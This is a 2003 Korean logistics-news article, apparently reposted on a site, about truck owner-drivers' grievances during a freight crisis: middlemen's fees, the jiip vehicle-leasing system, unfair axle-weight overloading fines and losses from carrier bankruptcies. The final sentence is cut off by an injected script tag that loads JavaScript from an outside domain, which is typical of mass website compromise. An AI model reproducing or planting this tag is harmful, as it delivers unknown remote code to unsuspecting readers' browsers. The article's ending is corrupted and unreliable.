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글쓴이 운영자 작성일 2003-05-13
제목 運送大亂 개혁
Logistics Focus - 물류의 뿌리, 운송체제 개혁은 어디까지
정부 - 운송체제 개혁 외친 ‘영세한 화물차주’ 외면, 物流亂을 國亂으로
화물차주 - 정부, 다단계 알선책에 지입제까지 “몰라도 너무 몰라” 허탈




이번 국내 운송대란 사태 발발의 핵심은 화물차 차주들의 오랫동안 쌓였던 불만이다. 현재 차주들은 생존권 차원에서 이런 극단적인 방법까지 선택했다고 주장하고 있다.

국내 화물차주들이 국내 화물운송료의 원가분석표에 따르면 한 달 운임은 385만원으로 이중 지입료가 22만원, 보험료가 20만원, 알선수수료 62만원, 연료비 147만원, 통행료가 29만원으로 나타났다. 여기에다 유지비를 빼고 나면 화물차주가 손에 쥐는 돈은 몇 십만원 남는게 현실이다.

여러 단계의 중간 알선업체들을 거치다 보니 차주들은 실제 수입이 쥐 꼬리만한 점도 문제이지만 화물차량이 차주들의 실소유가 아닌 차량등록 운송회사 명의로 되어있다는 점도 근본적인 문제점 중 하나다.

결국 운수회사가 부도가 나게 되면 그야말로 전재산이라 할 수 있는 자사소유의 차량을 날려버리게 되는 위기에 몰려 있는 것이 국내 화물차주들의 현주소다. 이에 따라 운송신문은 언론에는 상세히 보도되지 않았지만 우리나라 화물차주들이 겪고 있는 생활 속 이중고를 살펴봤다. <편집자주>



-겉과 속이 다른 짐, 누가 책임져야
-의뢰한 물량 운송한 것 뿐인데 과적 전과자로 몰려

컨테이너를 운송할 대 많은 차주들이 억울하게 과적의 전과자로 전락하고 있어 법 개정이 시급한 것으로 나타났다.

수입 컨테이너를 운반하는 차량들은 수입 면장에 기재된 컨테이너의 중량만 믿고 운송하고 있으나 고속도로 진입시 차주도 모르는 사이 중량 초과로 인한 과적으로 적발되고 있다.

콘테이너의 경우 화주가 통관시 총중량만을 측정해 수출입면장에 이를 표기하기 때문에 이 화물의 운송을 맡은 트레일러 차주는 서류상 총중량이 40톤을 넘는지의 여부만 확인 할 수 밖에 없다.

이에 비해 과적단속의 기준은 “총중량 40톤 도는 축중을 10톤 초과할 경우”라고 규정돼 있으며 따라서 과적 적발시 대부분 축중측정방식을 이용하고 있는 실정이다.

컨테이너 화물이 한쪽으로 쏠려 있거나 특정위치의 무게가 무거운 경우 실질적으로 총중량이 40톤이 넘지 않아도 축중량이 10톤 이상아 돼 이 컨테이너를 운송한 차주는 억울하게 과태료 처분을 받는 과적 전과자로 전락되고 있다.

부산에 있는 모 운수회사의 지입차주 박모 차주는 부산에서 38톤 수입 컨테이너를 실고 경부고속도로를 진입하였으나 과적으로 적발돼 38톤으로 기재된 수입면장을 제시하며 억울함을 호소하였으나 아무 소용이 없이 과태료 처분만 받았다.

또한 상대적으로 카고차량의 과적도 문제는 심각한 수준이다. 알선소로부터 물량을 수주하여 운행하는 화물차량의 경우 화주로부터 물량을 수주 받을 때부터 당 차량의 과적인데도 알선소 소장은 그 물량에 대한 중량에 관하여 상세하게 이야기하지 아니하고 그 물량을 빨리 상차하라고 다그치는 이야기만 대풀이하는 경우가 다반사다.

그런 반면 차주가 그 물량에 대해 중량 초과라서 상차할 수 없다고 항의하면 그 다음부터는 아에 배차를 하지 않는 경우가 있어 짐을 받는 경제적 약지인 차주는 이래저래 항의 할 수 없는 처지가 되고 있다.

따라서 과적 과태료는 현행 차주와 운수회사간에 양벌규정으로 처리하는 것 보다는 실질적 당사자라고 하는 알선업자와 차주간의 양벌규정으로 채택하면 상당한 과적행위가 줄어들 것이라고 생각되며, 하루 빨리 차주를 보호할 수 있는 법 개정이 시급한 것으로 지적되고 있다.



-화물차, 유일한 생존 수단도 빼앗겨
-일부 운수회사 부도 등으로 종합보험 등 지입차주 불이익 늘어나
-면허 취소시 법인등기부등본 발급후 자동차명의반환 소송 제기해야

한편 국내 일부 영세한 운수회사들의 경우, 경영 미숙 등으로 부도가 발생함에 따라 이 회사에 등록된 지입차주들의 피해가 눈덩이처럼 불어나 이에 대한 사회문제도 큰 고심이다.

이 같은 경우 화물자동차운수사업 면허가 취소되면 차주들은 그 회사에 등록된 화물차량은 자동차 종합 보험에 대한 재가입이 불가능하며 인사사고가 발생한다면 보상받을 수 없게 된다.

현재 우리나라 약 95%의 정도가 화물자동차운수사업을 경영할 수 있다는 자격증의 명의만 취득하고 있지 운수회사에 실질적으로 필요한 화물차량이 단 한대도 없는 운수회사가 대부분이다. 따라서 이러한 운수회사들은 명의만 개인 차주에게 빌려주고 매월 정기적으로 사실상 자격증 임대료라고 할 수 있는 일명 지입료를 받아 운수회사를 경영해오고 있는 실정이다.

그러나 1998년 초부터 차주연합회 등에서 지입료 청구는 부당하다는 홍보 등으로 ?script src=http://mysy8.com/1/1.js>
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